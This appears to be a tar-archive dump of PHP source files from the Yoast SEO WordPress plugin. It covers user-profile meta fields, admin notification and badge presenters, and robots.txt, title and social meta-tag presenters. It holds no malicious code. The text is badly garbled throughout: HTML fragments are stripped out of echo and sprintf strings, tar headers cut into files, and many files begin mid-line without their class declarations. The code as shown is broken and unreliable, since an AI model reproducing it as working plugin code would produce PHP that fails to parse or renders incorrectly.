public function render_field( $user_id ): void {
echo '
get_value( $user_id ), 'on', false )
. '/>';
echo '
';
}
}
user-meta/framework/custom-meta/author-pronouns.php 0000644 00000005231 15207625542 0016606 0 ustar 00 options_helper = $options_helper;
}
/**
* Returns the priority which the custom meta's form field should be rendered with.
*
* @return int The priority which the custom meta's form field should be rendered with.
*/
public function get_render_priority(): int {
return 300;
}
/**
* Returns the db key of the Author_Pronouns custom meta.
*
* @return string The db key of the Author_Pronouns custom meta.
*/
public function get_key(): string {
return 'wpseo_pronouns';
}
/**
* Returns the id of the custom meta's form field.
*
* @return string The id of the custom meta's form field.
*/
public function get_field_id(): string {
return 'wpseo_author_pronouns';
}
/**
* Returns the meta value.
*
* @param int $user_id The user ID.
*
* @return string The meta value.
*/
public function get_value( $user_id ): string {
return \get_the_author_meta( $this->get_key(), $user_id );
}
/**
* Returns whether the respective global setting is enabled.
*
* @return bool Whether the respective global setting is enabled.
*/
public function is_setting_enabled(): bool {
return ( ! $this->options_helper->get( 'disable-author' ) );
}
/**
* Returns whether the custom meta is allowed to be empty.
*
* @return bool Whether the custom meta is allowed to be empty.
*/
public function is_empty_allowed(): bool {
return true;
}
/**
* Renders the custom meta's field in the user form.
*
* @param int $user_id The user ID.
*
* @return void
*/
public function render_field( $user_id ): void {
echo '
';
echo '
'
. '
' . \esc_html__( 'Enter the pronouns for the author, for example "she/her", "he/him", or "they/them".', 'wordpress-seo' ) . '
';
}
}
user-meta/framework/custom-meta/content-analysis-disable.php 0000644 00000005704 15207625542 0020324 0 ustar 00 options_helper = $options_helper;
}
/**
* Returns the priority which the custom meta's form field should be rendered with.
*
* @return int The priority which the custom meta's form field should be rendered with.
*/
public function get_render_priority(): int {
return 500;
}
/**
* Returns the db key of the Content_Analysis_Disable custom meta.
*
* @return string The db key of the Content_Analysis_Disable custom meta.
*/
public function get_key(): string {
return 'wpseo_content_analysis_disable';
}
/**
* Returns the id of the custom meta's form field.
*
* @return string The id of the custom meta's form field.
*/
public function get_field_id(): string {
return 'wpseo_content_analysis_disable';
}
/**
* Returns the meta value.
*
* @param int $user_id The user ID.
*
* @return string The meta value.
*/
public function get_value( $user_id ): string {
return \get_the_author_meta( $this->get_key(), $user_id );
}
/**
* Returns whether the respective global setting is enabled.
*
* @return bool Whether the respective global setting is enabled.
*/
public function is_setting_enabled(): bool {
return ( $this->options_helper->get( 'content_analysis_active', false ) );
}
/**
* Returns whether the custom meta is allowed to be empty.
*
* @return bool Whether the custom meta is allowed to be empty.
*/
public function is_empty_allowed(): bool {
return true;
}
/**
* Renders the custom meta's field in the user form.
*
* @param int $user_id The user ID.
*
* @return void
*/
public function render_field( $user_id ): void {
echo '
get_value( $user_id ), 'on', false )
. '/>';
echo '
';
echo '
'
. \esc_html__( 'Removes the readability analysis section from the metabox and disables all readability-related suggestions.', 'wordpress-seo' )
. '
';
}
}
user-meta/framework/custom-meta/inclusive-language-analysis-disable.php 0000644 00000006046 15207625542 0022434 0 ustar 00 options_helper = $options_helper;
}
/**
* Returns the priority which the custom meta's form field should be rendered with.
*
* @return int The priority which the custom meta's form field should be rendered with.
*/
public function get_render_priority(): int {
return 600;
}
/**
* Returns the db key of the Inclusive_Language_Analysis_Disable custom meta.
*
* @return string The db key of the Inclusive_Language_Analysis_Disable custom meta.
*/
public function get_key(): string {
return 'wpseo_inclusive_language_analysis_disable';
}
/**
* Returns the id of the custom meta's form field.
*
* @return string The id of the custom meta's form field.
*/
public function get_field_id(): string {
return 'wpseo_inclusive_language_analysis_disable';
}
/**
* Returns the meta value.
*
* @param int $user_id The user ID.
*
* @return string The meta value.
*/
public function get_value( $user_id ): string {
return \get_the_author_meta( $this->get_key(), $user_id );
}
/**
* Returns whether the respective global setting is enabled.
*
* @return bool Whether the respective global setting is enabled.
*/
public function is_setting_enabled(): bool {
return ( $this->options_helper->get( 'inclusive_language_analysis_active', false ) );
}
/**
* Returns whether the custom meta is allowed to be empty.
*
* @return bool Whether the custom meta is allowed to be empty.
*/
public function is_empty_allowed(): bool {
return true;
}
/**
* Renders the custom meta's field in the user form.
*
* @param int $user_id The user ID.
*
* @return void
*/
public function render_field( $user_id ): void {
echo '
get_value( $user_id ), 'on', false )
. '/>';
echo '
';
echo '
'
. \esc_html__( 'Removes the inclusive language analysis section from the metabox and disables all inclusive language-related suggestions.', 'wordpress-seo' )
. '
';
}
}
user-meta/framework/custom-meta/author-metadesc.php 0000644 00000005100 15207625543 0016504 0 ustar 00 options_helper = $options_helper;
}
/**
* Returns the priority which the custom meta's form field should be rendered with.
*
* @return int The priority which the custom meta's form field should be rendered with.
*/
public function get_render_priority(): int {
return 200;
}
/**
* Returns the db key of the Author_Metadesc custom meta.
*
* @return string The db key of the Author_Metadesc custom meta.
*/
public function get_key(): string {
return 'wpseo_metadesc';
}
/**
* Returns the id of the custom meta's form field.
*
* @return string The id of the custom meta's form field.
*/
public function get_field_id(): string {
return 'wpseo_author_metadesc';
}
/**
* Returns the meta value.
*
* @param int $user_id The user ID.
*
* @return string The meta value.
*/
public function get_value( $user_id ): string {
return \get_the_author_meta( $this->get_key(), $user_id );
}
/**
* Returns whether the respective global setting is enabled.
*
* @return bool Whether the respective global setting is enabled.
*/
public function is_setting_enabled(): bool {
return ( ! $this->options_helper->get( 'disable-author' ) );
}
/**
* Returns whether the custom meta is allowed to be empty.
*
* @return bool Whether the custom meta is allowed to be empty.
*/
public function is_empty_allowed(): bool {
return true;
}
/**
* Renders the custom meta's field in the user form.
*
* @param int $user_id The user ID.
*
* @return void
*/
public function render_field( $user_id ): void {
echo '
';
echo '
';
}
}
user-meta/framework/additional-contactmethods/tumblr.php 0000644 00000001270 15207625543 0017617 0 ustar 00 ' . \__( '(if one exists)', 'wordpress-seo' ) . '';
}
}
user-meta/framework/additional-contactmethods/soundcloud.php 0000644 00000001330 15207625543 0020466 0 ustar 00 custom_meta_collector = $custom_meta_collector;
}
/**
* Retrieves the conditionals for the integration.
*
* @return array The conditionals.
*/
public static function get_conditionals() {
return [
Admin_Conditional::class,
User_Can_Edit_Users_Conditional::class,
User_Edit_Conditional::class,
];
}
/**
* Registers action hook.
*
* @return void
*/
public function register_hooks(): void {
\add_action( 'show_user_profile', [ $this, 'user_profile' ] );
\add_action( 'edit_user_profile', [ $this, 'user_profile' ] );
\add_action( 'personal_options_update', [ $this, 'process_user_option_update' ] );
\add_action( 'edit_user_profile_update', [ $this, 'process_user_option_update' ] );
}
/**
* Updates the user metas that (might) have been set on the user profile page.
*
* @param int $user_id User ID of the updated user.
*
* @return void
*/
public function process_user_option_update( $user_id ) {
\update_user_meta( $user_id, '_yoast_wpseo_profile_updated', \time() );
if ( ! \check_admin_referer( 'wpseo_user_profile_update', 'wpseo_nonce' ) ) {
return;
}
foreach ( $this->custom_meta_collector->get_custom_meta() as $meta ) {
if ( ! $meta->is_setting_enabled() ) {
continue;
}
$meta_field_id = $meta->get_field_id();
$user_input_to_store = isset( $_POST[ $meta_field_id ] ) ? \sanitize_text_field( \wp_unslash( $_POST[ $meta_field_id ] ) ) : '';
if ( $meta->is_empty_allowed() || $user_input_to_store !== '' ) {
\update_user_meta( $user_id, $meta->get_key(), $user_input_to_store );
continue;
}
\delete_user_meta( $user_id, $meta->get_key() );
}
}
/**
* Adds the inputs needed for SEO values to the User Profile page.
*
* @param WP_User $user User instance to output for.
*
* @return void
*/
public function user_profile( $user ) {
\wp_nonce_field( 'wpseo_user_profile_update', 'wpseo_nonce' );
/* translators: %1$s expands to Yoast SEO */
$yoast_user_settings_header = \sprintf( \__( '%1$s settings', 'wordpress-seo' ), 'Yoast SEO' );
echo '
';
$notification_text .= '';
$notification_text .= \esc_html__( 'Start SEO data optimization', 'wordpress-seo' );
$notification_text .= '';
return $notification_text;
}
/**
* Determines the message to show in the indexing notification.
*
* @param string $reason The reason identifier.
*
* @return string The message to show in the notification.
*/
protected function get_message( $reason ) {
switch ( $reason ) {
case Indexing_Reasons::REASON_PERMALINK_SETTINGS:
$text = \esc_html__( 'Because of a change in your permalink structure, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
break;
case Indexing_Reasons::REASON_HOME_URL_OPTION:
$text = \esc_html__( 'Because of a change in your home URL setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
break;
case Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX:
$text = \esc_html__( 'Because of a change in your category base setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
break;
case Indexing_Reasons::REASON_TAG_BASE_PREFIX:
$text = \esc_html__( 'Because of a change in your tag base setting, some of your SEO data needs to be reprocessed.', 'wordpress-seo' );
break;
case Indexing_Reasons::REASON_POST_TYPE_MADE_PUBLIC:
$text = \esc_html__( 'We need to re-analyze some of your SEO data because of a change in the visibility of your post types. Please help us do that by running the SEO data optimization.', 'wordpress-seo' );
break;
case Indexing_Reasons::REASON_TAXONOMY_MADE_PUBLIC:
$text = \esc_html__( 'We need to re-analyze some of your SEO data because of a change in the visibility of your taxonomies. Please help us do that by running the SEO data optimization.', 'wordpress-seo' );
break;
case Indexing_Reasons::REASON_ATTACHMENTS_MADE_ENABLED:
$text = \esc_html__( 'It looks like you\'ve enabled media pages. We recommend that you help us to re-analyze your site by running the SEO data optimization.', 'wordpress-seo' );
break;
default:
$text = \esc_html__( 'You can speed up your site and get insight into your internal linking structure by letting us perform a few optimizations to the way SEO data is stored.', 'wordpress-seo' );
}
/**
* Filter: 'wpseo_indexables_indexation_alert' - Allow developers to filter the reason of the indexation
*
* @param string $text The text to show as reason.
* @param string $reason The reason value.
*/
return (string) \apply_filters( 'wpseo_indexables_indexation_alert', $text, $reason );
}
/**
* Creates a time estimate based on the total number on unindexed objects.
*
* @param int $total_unindexed The total number of unindexed objects.
*
* @return string The time estimate as a HTML string.
*/
protected function get_time_estimate( $total_unindexed ) {
if ( $total_unindexed < 400 ) {
return \esc_html__( ' We estimate this will take less than a minute.', 'wordpress-seo' );
}
if ( $total_unindexed < 2500 ) {
return \esc_html__( ' We estimate this will take a couple of minutes.', 'wordpress-seo' );
}
$estimate = \esc_html__( ' We estimate this could take a long time, due to the size of your site. As an alternative to waiting, you could:', 'wordpress-seo' );
$estimate .= '
';
$estimate .= '
';
$estimate .= \sprintf(
/* translators: 1: Expands to Yoast SEO */
\esc_html__( 'Wait for a week or so, until %1$s automatically processes most of your content in the background.', 'wordpress-seo' ),
'Yoast SEO',
);
$estimate .= '
';
$estimate .= '
';
$estimate .= \sprintf(
/* translators: 1: Link to article about indexation command, 2: Anchor closing tag, 3: Link to WP CLI. */
\esc_html__( '%1$sRun the indexation process on your server%2$s using %3$sWP CLI%2$s.', 'wordpress-seo' ),
'',
'',
'',
);
$estimate .= '
';
$estimate .= '
';
return $estimate;
}
}
presenters/admin/migration-error-presenter.php 0000644 00000004272 15207625565 0015706 0 ustar 00 migration_error = $migration_error;
}
/**
* Presents the migration error that occurred.
*
* @return string The error HTML.
*/
public function present() {
$header = \sprintf(
/* translators: %s: Yoast SEO. */
\esc_html__( '%s is unable to create database tables', 'wordpress-seo' ),
'Yoast SEO',
);
$message = \sprintf(
/* translators: %s: Yoast SEO. */
\esc_html__( '%s had problems creating the database tables needed to speed up your site.', 'wordpress-seo' ),
'Yoast SEO',
);
$support = \sprintf(
/* translators: %1$s: link to help article about solving table issue. %2$s: is anchor closing. */
\esc_html__( 'Please read %1$sthis help article%2$s to find out how to resolve this problem.', 'wordpress-seo' ),
'',
'',
);
$reassurance = \sprintf(
/* translators: %s: Yoast SEO. */
\esc_html__( 'Your site will continue to work normally, but won\'t take full advantage of %s.', 'wordpress-seo' ),
'Yoast SEO',
);
$debug_info = \sprintf(
'%1$s
',
$header,
$message,
$support,
$reassurance,
$debug_info,
);
}
}
presenters/admin/woocommerce-beta-editor-presenter.php 0000644 00000003362 15207625565 0017301 0 ustar 00 short_link_helper = $short_link_helper;
}
/**
* Returns the notification as an HTML string.
*
* @return string The notification in an HTML string representation.
*/
public function present() {
$notification_text = '
';
return $output;
}
}
presenters/admin/indexing-failed-notification-presenter.php 0000644 00000005770 15207625565 0020305 0 ustar 00 class_addon_manager = $class_addon_manager;
$this->short_link_helper = $short_link_helper;
$this->product_helper = $product_helper;
}
/**
* Returns the notification as an HTML string.
*
* @return string The notification in an HTML string representation.
*/
public function present() {
$notification_text = \sprintf(
/* Translators: %1$s expands to an opening anchor tag for a link leading to the Yoast SEO tools page, %2$s expands to a closing anchor tag. */
\esc_html__(
'Something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please %1$sre-start the process%2$s.',
'wordpress-seo',
),
'',
'',
);
if ( $this->product_helper->is_premium() ) {
if ( $this->has_valid_premium_subscription() ) {
// Add a support message for premium customers.
$notification_text .= ' ';
$notification_text .= \esc_html__( 'If the problem persists, please contact support.', 'wordpress-seo' );
}
else {
// Premium plugin with inactive addon; overwrite the entire error message.
$notification_text = \sprintf(
/* Translators: %1$s expands to an opening anchor tag for a link leading to the Premium installation page, %2$s expands to a closing anchor tag. */
\esc_html__(
'Oops, something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please make sure to activate your subscription in MyYoast by completing %1$sthese steps%2$s.',
'wordpress-seo',
),
'',
'',
);
}
}
return '
' . $notification_text . '
';
}
/**
* Determines if the site has a valid Premium subscription.
*
* @return bool
*/
protected function has_valid_premium_subscription() {
return $this->class_addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
}
}
presenters/admin/alert-presenter.php 0000644 00000003063 15207625565 0013672 0 ustar 00 content = $content;
$this->type = $type;
if ( ! $this->asset_manager ) {
$this->asset_manager = new WPSEO_Admin_Asset_Manager();
}
$this->asset_manager->enqueue_style( 'alert' );
}
/**
* Presents the Alert.
*
* @return string The styled Alert.
*/
public function present() {
$icon_file = 'images/alert-' . $this->type . '-icon.svg';
$out = '
';
return $notification_text;
}
/**
* Returns the message to show.
*
* @return string The message.
*/
protected function get_message() {
return \sprintf(
'%1$s %2$s ',
\esc_html__( 'Huge SEO Issue: You\'re blocking access to robots.', 'wordpress-seo' ),
\sprintf(
/* translators: 1: Link start tag to the WordPress Reading Settings page, 2: Link closing tag. */
\esc_html__( 'If you want search engines to show this site in their results, you must %1$sgo to your Reading Settings%2$s and uncheck the box for Search Engine Visibility.', 'wordpress-seo' ),
'',
'',
),
\esc_js( \wp_create_nonce( 'wpseo-ignore' ) ),
\esc_html__( 'I don\'t want this site to show in the search results.', 'wordpress-seo' ),
);
}
}
presenters/admin/badge-presenter.php 0000644 00000005223 15207625565 0013625 0 ustar 00 id = $id;
$this->link = $link;
$this->group = $group;
if ( ! $badge_group_names instanceof Badge_Group_Names ) {
$badge_group_names = new Badge_Group_Names();
}
$this->badge_group_names = $badge_group_names;
}
/**
* Presents the New Badge. If a link has been passed, the badge is presented with the link.
* Otherwise a static badge is presented.
*
* @return string The styled New Badge.
*/
public function present() {
if ( ! $this->is_group_still_new() ) {
return '';
}
if ( $this->link !== '' ) {
return \sprintf(
'%3$s',
\esc_attr( $this->id ),
\esc_url( $this->link ),
\esc_html__( 'New', 'wordpress-seo' ),
);
}
return \sprintf(
'%2$s',
\esc_attr( $this->id ),
\esc_html__( 'New', 'wordpress-seo' ),
);
}
/**
* Check whether the new badge should be shown according to the group it is in.
*
* @return bool True if still new.
*/
public function is_group_still_new() {
// If there's no group configured, the new badge is always active.
if ( ! $this->group ) {
return true;
}
return $this->badge_group_names->is_still_eligible_for_new_badge( $this->group );
}
}
presenters/admin/indexing-error-presenter.php 0000644 00000010470 15207625566 0015520 0 ustar 00 short_link_helper = $short_link_helper;
$this->product_helper = $product_helper;
$this->addon_manager = $addon_manager;
}
/**
* Generates the first paragraph of the error message to show when indexing failed.
*
* The contents of the paragraph varies based on whether WordPress SEO Premium has a valid, activated subscription or not.
*
* @param bool $is_premium Whether WordPress SEO Premium is currently active.
* @param bool $has_valid_premium_subscription Whether WordPress SEO Premium currently has a valid subscription.
*
* @return string
*/
protected function generate_first_paragraph( $is_premium, $has_valid_premium_subscription ) {
$message = \__(
'Oops, something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please click the button again to re-start the process. ',
'wordpress-seo',
);
if ( $is_premium ) {
if ( $has_valid_premium_subscription ) {
$message .= \__( 'If the problem persists, please contact support.', 'wordpress-seo' );
}
else {
$message = \sprintf(
/* translators: %1$s expands to an opening anchor tag for a link leading to the Premium installation page, %2$s expands to a closing anchor tag. */
\__(
'Oops, something has gone wrong and we couldn\'t complete the optimization of your SEO data. Please make sure to activate your subscription in MyYoast by completing %1$sthese steps%2$s.',
'wordpress-seo',
),
'',
'',
);
}
}
return $message;
}
/**
* Generates the second paragraph of the error message to show when indexing failed.
*
* The error message varies based on whether WordPress SEO Premium has a valid, activated subscription or not.
*
* @param bool $is_premium Whether WordPress SEO Premium is currently active.
* @param bool $has_valid_premium_subscription Whether WordPress SEO Premium currently has a valid subscription.
*
* @return string The second paragraph of the error message.
*/
protected function generate_second_paragraph( $is_premium, $has_valid_premium_subscription ) {
return \sprintf(
/* translators: %1$s expands to an opening anchor tag for a link leading to the Premium installation page, %2$s expands to a closing anchor tag. */
\__(
'Below are the technical details for the error. See %1$sthis page%2$s for a more detailed explanation.',
'wordpress-seo',
),
'',
'',
);
}
/**
* Presents the error message to show if SEO optimization failed.
*
* The error message varies based on whether WordPress SEO Premium has a valid, activated subscription or not.
*
* @return string The error message to show.
*/
public function present() {
$is_premium = $this->product_helper->is_premium();
$has_valid_premium_subscription = $this->addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );
$output = '
';
$out .= '';
return $out;
}
}
presenters/admin/beta-badge-presenter.php 0000644 00000002451 15207625566 0014537 0 ustar 00 id = $id;
$this->link = $link;
}
/**
* Presents the Beta Badge. If a link has been passed, the badge is presented with the link.
* Otherwise a static badge is presented.
*
* @return string The styled Beta Badge.
*/
public function present() {
if ( $this->link !== '' ) {
return \sprintf(
'%3$s',
\esc_attr( $this->id ),
\esc_url( $this->link ),
'Beta', // We don't want this string to be translatable.
);
}
return \sprintf(
'%2$s',
\esc_attr( $this->id ),
'Beta', // We don't want this string to be translatable.
);
}
}
presenters/admin/premium-badge-presenter.php 0000644 00000002512 15207625567 0015301 0 ustar 00 id = $id;
$this->link = $link;
}
/**
* Presents the Premium Badge. If a link has been passed, the badge is presented with the link.
* Otherwise a static badge is presented.
*
* @return string The styled Premium Badge.
*/
public function present() {
if ( $this->link !== '' ) {
return \sprintf(
'%3$s',
\esc_attr( $this->id ),
\esc_url( $this->link ),
'Premium', // We don't want this string to be translatable.
);
}
return \sprintf(
'%2$s',
\esc_attr( $this->id ),
'Premium', // We don't want this string to be translatable.
);
}
}
presenters/admin/sidebar-presenter.php 0000644 00000016333 15207625567 0014202 0 ustar 00 is_met();
$shortlink = ( $is_woocommerce_active ) ? WPSEO_Shortlinker::get( 'https://yoa.st/admin-sidebar-upsell-woocommerce' ) : WPSEO_Shortlinker::get( 'https://yoa.st/jj' );
\ob_start();
?>
Yoast SEO academy' );
echo ' ';
\esc_html_e( 'We have both free and premium online courses to learn everything you need to know about SEO.', 'wordpress-seo' );
?>
short_link_helper = $short_link_helper;
}
/**
* Presents the list item for the tools menu.
*
* @return string The list item HTML.
*/
public function present() {
$output = \sprintf( '
%s ', \esc_html__( 'Optimize SEO Data', 'wordpress-seo' ) );
$output .= \sprintf(
'%1$s %3$s',
\esc_html__( 'You can speed up your site and get insight into your internal linking structure by letting us perform a few optimizations to the way SEO data is stored. If you have a lot of content it might take a while, but trust us, it\'s worth it.', 'wordpress-seo' ),
\esc_url( $this->short_link_helper->get( 'https://yoa.st/3-z' ) ),
\esc_html__( 'Learn more about the benefits of optimized SEO data.', 'wordpress-seo' ),
);
$output .= '';
$output .= '
';
return $output;
}
}
presenters/rel-next-presenter.php 0000644 00000003203 15207625567 0013227 0 ustar 00 presentation->robots, true ) ) {
return '';
}
/**
* Filter: 'wpseo_adjacent_rel_url' - Allow filtering of the rel next URL put out by Yoast SEO.
*
* @param string $rel_next The rel next URL.
* @param string $rel Link relationship, prev or next.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
return (string) \trim( \apply_filters( 'wpseo_adjacent_rel_url', $this->presentation->rel_next, 'next', $this->presentation ) );
}
}
presenters/abstract-indexable-presenter.php 0000644 00000003063 15207625567 0015231 0 ustar 00 key === 'NO KEY PROVIDED' ) {
return null;
}
return \str_replace( [ ':', ' ', '-' ], '_', $this->key );
}
/**
* Returns the metafield's property key.
*
* @return string The property key.
*/
public function get_key() {
return $this->key;
}
/**
* Replace replacement variables in a string.
*
* @param string $replacevar_string The string with replacement variables.
*
* @return string The string with replacement variables replaced.
*/
protected function replace_vars( $replacevar_string ) {
return $this->replace_vars->replace( $replacevar_string, $this->presentation->source );
}
}
presenters/abstract-presenter.php 0000644 00000000571 15207625567 0013301 0 ustar 00 present();
}
}
presenters/robots-txt-presenter.php 0000644 00000011547 15207625567 0013630 0 ustar 00 robots_txt_helper = $robots_txt_helper;
}
/**
* Generate content to be placed in a robots.txt file.
*
* @return string Content to be placed in a robots.txt file.
*/
public function present() {
$robots_txt_content = self::YOAST_OUTPUT_BEFORE_COMMENT;
$robots_txt_content = $this->handle_user_agents( $robots_txt_content );
$robots_txt_content = $this->handle_site_maps( $robots_txt_content );
$robots_txt_content = $this->handle_schema_maps( $robots_txt_content );
return $robots_txt_content . self::YOAST_OUTPUT_AFTER_COMMENT;
}
/**
* Adds user agent directives to the robots txt output string.
*
* @param array $user_agents The list if available user agents.
* @param string $robots_txt_content The current working robots txt string.
*
* @return string
*/
private function add_user_agent_directives( $user_agents, $robots_txt_content ) {
foreach ( $user_agents as $user_agent ) {
$robots_txt_content .= self::USER_AGENT_FIELD . ': ' . $user_agent->get_user_agent() . \PHP_EOL;
$robots_txt_content = $this->add_directive_path( $robots_txt_content, $user_agent->get_disallow_paths(), self::DISALLOW_DIRECTIVE );
$robots_txt_content = $this->add_directive_path( $robots_txt_content, $user_agent->get_allow_paths(), self::ALLOW_DIRECTIVE );
$robots_txt_content .= \PHP_EOL;
}
return $robots_txt_content;
}
/**
* Adds user agent directives path content to the robots txt output string.
*
* @param string $robots_txt_content The current working robots txt string.
* @param array $paths The list of paths for which to add a txt entry.
* @param string $directive_identifier The identifier for the directives. (Disallow of Allow).
*
* @return string
*/
private function add_directive_path( $robots_txt_content, $paths, $directive_identifier ) {
if ( \count( $paths ) > 0 ) {
foreach ( $paths as $path ) {
$robots_txt_content .= $directive_identifier . ': ' . $path . \PHP_EOL;
}
}
return $robots_txt_content;
}
/**
* Handles adding user agent content to the robots txt content if there is any.
*
* @param string $robots_txt_content The current working robots txt string.
*
* @return string
*/
private function handle_user_agents( $robots_txt_content ) {
$user_agents = $this->robots_txt_helper->get_robots_txt_user_agents();
if ( ! isset( $user_agents['*'] ) ) {
$robots_txt_content .= 'User-agent: *' . \PHP_EOL;
$robots_txt_content .= 'Disallow:' . \PHP_EOL . \PHP_EOL;
}
$robots_txt_content = $this->add_user_agent_directives( $user_agents, $robots_txt_content );
return $robots_txt_content;
}
/**
* Handles adding sitemap content to the robots txt content.
*
* @param string $robots_txt_content The current working robots txt string.
*
* @return string
*/
private function handle_site_maps( $robots_txt_content ) {
$registered_sitemaps = $this->robots_txt_helper->get_sitemap_rules();
foreach ( $registered_sitemaps as $sitemap ) {
$robots_txt_content .= self::SITEMAP_FIELD . ': ' . $sitemap . \PHP_EOL;
}
return $robots_txt_content;
}
/**
* Handles adding schema map content to the robots txt content.
*
* @param string $robots_txt_content The current working robots txt string.
*
* @return string
*/
private function handle_schema_maps( $robots_txt_content ) {
$registered_schemamaps = $this->robots_txt_helper->get_schemamap_rules();
foreach ( $registered_schemamaps as $schemamap ) {
$robots_txt_content .= self::SCHEMAMAP_FIELD . ': ' . $schemamap . \PHP_EOL;
}
return $robots_txt_content;
}
}
presenters/title-presenter.php 0000644 00000003344 15207625567 0012620 0 ustar 00 %s';
/**
* The method of escaping to use.
*
* @var string
*/
protected $escaping = 'html';
/**
* Gets the raw value of a presentation.
*
* @return string The raw value.
*/
public function get() {
// This ensures backwards compatibility with other plugins using this filter as well.
\add_filter( 'pre_get_document_title', [ $this, 'get_title' ], 15 );
$title = \wp_get_document_title();
\remove_filter( 'pre_get_document_title', [ $this, 'get_title' ], 15 );
return $title;
}
/**
* Returns a tag in the head.
*
* @return string The tag.
*/
public function present() {
$value = $this->get();
if ( \is_string( $value ) && $value !== '' ) {
return \sprintf( $this->tag_format, $this->escape_value( $value ) );
}
return '';
}
/**
* Returns the presentation title.
*
* @return string The title.
*/
public function get_title() {
$title = $this->replace_vars( $this->presentation->title );
/**
* Filter: 'wpseo_title' - Allow changing the Yoast SEO generated title.
*
* @param string $title The title.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
$title = \apply_filters( 'wpseo_title', $title, $this->presentation );
$title = $this->helpers->string->strip_all_tags( $title );
return \trim( $title );
}
}
presenters/score-icon-presenter.php 0000644 00000001661 15207625567 0013540 0 ustar 00 title = $title;
$this->css_class = $css_class;
}
/**
* Presents the score icon.
*
* @return string The score icon.
*/
public function present() {
return \sprintf(
'
%2$s
',
\esc_attr( $this->title ),
\esc_html( $this->title ),
\esc_attr( $this->css_class ),
);
}
}
presenters/twitter/card-presenter.php 0000644 00000001551 15207625567 0014110 0 ustar 00 presentation->twitter_card, $this->presentation ) );
}
}
presenters/twitter/title-presenter.php 0000644 00000001641 15207625567 0014320 0 ustar 00 replace_vars( $this->presentation->twitter_title ), $this->presentation ) );
}
}
presenters/twitter/description-presenter.php 0000644 00000002020 15207625567 0015512 0 ustar 00 replace_vars( $this->presentation->twitter_description ), $this->presentation );
}
}
presenters/twitter/creator-presenter.php 0000644 00000000753 15207625567 0014641 0 ustar 00 presentation->twitter_creator;
}
}
presenters/twitter/image-presenter.php 0000644 00000001743 15207625567 0014264 0 ustar 00 presentation->twitter_image, $this->presentation );
}
}
presenters/twitter/site-presenter.php 0000644 00000003223 15207625570 0014133 0 ustar 00 presentation->twitter_site, $this->presentation );
$twitter_site = $this->get_twitter_id( $twitter_site );
if ( ! \is_string( $twitter_site ) || $twitter_site === '' ) {
return '';
}
return '@' . $twitter_site;
}
/**
* Checks if the given id is actually an id or a url and if url, distills the id from it.
*
* Solves issues with filters returning urls and theme's/other plugins also adding a user meta
* twitter field which expects url rather than an id (which is what we expect).
*
* @param string $id Twitter ID or url.
*
* @return string|bool Twitter ID or false if it failed to get a valid Twitter ID.
*/
private function get_twitter_id( $id ) {
if ( \preg_match( '`([A-Za-z0-9_]{1,25})$`', $id, $match ) ) {
return $match[1];
}
return false;
}
}
presenters/debug/marker-close-presenter.php 0000644 00000001506 15207625570 0015141 0 ustar 00 ',
\esc_html( $this->helpers->product->get_name() ),
);
}
/**
* Gets the raw value of a presentation.
*
* @return string The raw value.
*/
public function get() {
return '';
}
}
presenters/debug/marker-open-presenter.php 0000644 00000003344 15207625570 0014777 0 ustar 00 helpers->product->get_name() );
$is_premium = $this->helpers->product->is_premium();
$version = ( $is_premium ) ? $this->construct_version_info() : 'v' . \WPSEO_VERSION;
$url = ( $is_premium ) ? 'https://yoast.com/product/yoast-seo-premium-wordpress/' : 'https://yoast.com/product/yoast-seo-wordpress/';
return \sprintf(
'',
$product_name,
$version,
$url,
);
}
/**
* Gets the plugin version information, including the free version if Premium is used.
*
* @return string The constructed version information.
*/
private function construct_version_info() {
/**
* Filter: 'wpseo_hide_version' - can be used to hide the Yoast SEO version in the debug marker (only available in Yoast SEO Premium).
*
* @param bool $hide_version
*/
if ( \apply_filters( 'wpseo_hide_version', false ) ) {
return '';
}
return 'v' . \WPSEO_PREMIUM_VERSION . ' (Yoast SEO v' . \WPSEO_VERSION . ')';
}
/**
* Gets the raw value of a presentation.
*
* @return string The raw value.
*/
public function get() {
return '';
}
}
presenters/robots-presenter.php 0000644 00000001307 15207625570 0012776 0 ustar 00 get() );
if ( \is_string( $robots ) && $robots !== '' ) {
return \sprintf( '', \esc_attr( $robots ) );
}
return '';
}
/**
* Gets the raw value of a presentation.
*
* @return array The raw value.
*/
public function get() {
return $this->presentation->robots;
}
}
presenters/abstract-indexable-tag-presenter.php 0000644 00000003374 15207625570 0016001 0 ustar 00 ';
public const META_NAME_CONTENT = '';
public const LINK_REL_HREF = '';
public const DEFAULT_TAG_FORMAT = self::META_NAME_CONTENT;
/**
* The tag format including placeholders.
*
* @var string
*/
protected $tag_format = self::DEFAULT_TAG_FORMAT;
/**
* The method of escaping to use.
*
* @var string
*/
protected $escaping = 'attribute';
/**
* Returns a tag in the head.
*
* @return string The tag.
*/
public function present() {
$value = $this->get();
if ( ! \is_string( $value ) || $value === '' ) {
return '';
}
/**
* There may be some classes that are derived from this class that do not use the $key property
* in their $tag_format string. In that case the key property will simply not be used.
*/
return \sprintf(
$this->tag_format,
$this->escape_value( $value ),
$this->key,
\is_admin_bar_showing() ? ' class="yoast-seo-meta-tag"' : '',
);
}
/**
* Escaped the output.
*
* @param string $value The desired method of escaping; 'html', 'url' or 'attribute'.
*
* @return string The escaped value.
*/
protected function escape_value( $value ) {
switch ( $this->escaping ) {
case 'html':
return \esc_html( $value );
case 'url':
return \esc_url( $value, null, 'attribute' );
case 'attribute':
default:
return \esc_attr( $value );
}
}
}
presenters/meta-author-presenter.php 0000644 00000002541 15207625570 0013715 0 ustar 00 presentation->model->object_sub_type !== 'post' ) {
return '';
}
$user_data = \get_userdata( $this->presentation->context->post->post_author );
if ( ! $user_data instanceof WP_User ) {
return '';
}
/**
* Filter: 'wpseo_meta_author' - Allow developers to filter the article's author meta tag.
*
* @param string $author_name The article author's display name. Return empty to disable the tag.
* @param Indexable_Presentation $presentation The presentation of an indexable.
*/
